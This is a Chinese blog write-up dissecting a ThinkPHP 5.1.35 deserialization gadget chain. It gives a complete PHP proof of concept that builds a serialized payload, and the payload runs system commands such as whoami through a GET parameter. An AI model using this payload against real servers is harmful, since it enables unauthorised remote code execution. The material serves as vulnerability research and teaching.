thinkphp5.1反序列化

前言

TP5.1反序列化漏洞

这里我选用的版本是TP5.1.35

漏洞解析

漏洞复现

在index.php中写入测试代码:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'pho'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}


use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

漏洞分析

​ 想要获得一条反序列化链,首先得找到自动触发的魔术方法,比如__wakeup(),__call(),__destruct()等魔术方法.经过一些的跳转。我们最终一般要触发的魔术方法是__call(),因为这个魔术方法中一般执行的是call_user_func(),call_user_func_arry()这两个函数,可以带来命令执行的效果

这条攻击链从/thinkphp/library/think/process/pipes/Windows.php下的__destruct作为入口

image-20200314152252198

其中调用两个函数,这里我们利用第二个函数$this->removeFiles();

image-20200314152757525

这个函数是用于删除临时文件的,其中的file_exists($filename)可以利用:当我们将某类A的实例作为$filename传入file_exists()时就会触发,就会触发类A的魔术方法__toString

然后我们全局搜索public function __toString(),看看哪个类的该方法可以作为跳板。

image-20200314153303416

thinkphp\library\think\model\concern\Conversion.php可能存在跳板

跟进这个函数

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson()

image-20200314155135827

跟进toArray(),代码太多了,这里只跟进关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function toArray()
{
···
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
···
}

之所以我们选择这一段作为关键代码:我们需要找到$可控变量->方法(参数可控)的代码,这样子就可以调用某个类的实例中不存在的方法,从而调用该类中的__call()函数。其中最为关键的一行代码:

1
$relation->visible([$attr]);

如果$relation$attr都可控的话,这里就有一个跳板。

代码:$relation = $this->getRelation($key),跟进getRelation()

image-20200314160646084

这里的$this->relation来自于函数getRelation()所在类RelationShip,所以该变量我们未使用到该变量,所以无法保证array_key_exists($name,$this->relation)能够得到满足。

所以$relation = $this->getRelation($key)为空。

这样子就会进入代码:

1
2
3
4
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

全局搜索__call(),选择一个合适的跳板。

image-20200314161841261

所有的__call($method,$args)都差不多,所以我们要选择进入call_user_func()的两个参数可控的函数,作为跳板。

选择Request类,其__call()魔术方法代码如下:

image-20200314162321187

其中args以及$this->hook都可控

因为前文说到我们的跳板为$relation->visible($name);

那么当调用Requests类中一个不存在的函数visible()时,调用__call()

可令$hook= {“visable”=>“任意method”},这样貌似能命令执行。

可是在__call()中有代码如下:

1
array_unshift($args, $this);

array_unshift()函数用于向数组插入新元素,所以它会把当前这个类给加到args中,如下:

1
call_user_func_array([$obj,"任意方法"],[$this,任意参数])

这样子就很难做到命令执行。所以我们要在该类中寻找一个函数可以不需要传参,也就是不需要我们传递给它的args

Requests类中有函数filterValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

寻找哪里调用了这个函数

找到input()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

哪里调用了input()

找到param()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

哪里调用了param()函数

找到了isAja()

image-20200314164411714

其中的$this->param($this->config['var_ajax']),这里的$this->config['var_ajax']是可控的。

整理一下如下图:

image-20200314170425562

这里分析一下在input()中的getData()

image-20200314171010145

根据上图的路由,实际上经过函数getData()后,data[$val] = data[$name]

跟进函数getFilter()

image-20200314171334782

其中$filter = $filter ?: $this->filter;

所以$filter可控

接着由于$data非数组,跟进函数$this->filterValue($data, $name, $filter);

image-20200314171334782

执行代码。

分析POC

首先构造POC用来触发Requests类的__call()魔术方法

回到toArray()函数,在Conversion类

1
2
3
4
5
6
7
8
9
10
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

这里分析一下getAttr(),跟进该函数

image-20200314172853130

然后跟进getData()

image-20200314173040454

Attribute类中,$this->data可控,$name来自于getAttr()$name,getAttr()$name来自$this->append as $key => $name

所以构造:

1
2
3
4
5
6
7
8
9
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}

这样子就有return $this->data['lin']=new Request();

这样子就能触发Request类的__call()

这里的POC使用Model类的原因是$this->datagetAttr()分别来自两个类

只要Model类同时继承了这两个类

image-20200314172853130

POC的第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'pho'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}

触发__call

1
2
3
4
5
6
7
8
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}

这时有$this->hook[$method]=$this->hook['visible']=isAjax,进而触发isAjax(),然后触发input()

我们通过GET请求发送的pho=whoami,最终会使得在经过getData()后,有$data['pho']=whoami,并且$this->filter = "system";,然后进入filterValue()函数,触发call_user_func_arry()

执行system(whoami)

第三部分用于触发Model

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

这里Windows下的$this->files要创建一个Pivot对象是因为Pivot继承Model

但是我们只要use一下think\model\concern\Conversion就会跳去Conversion下的__toString方法

参考

https://blog.csdn.net/chasingin/article/details/103639547

Author: 我是小吴啦
Link: http://yoursite.com/2020/03/30/thinkphp5-1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.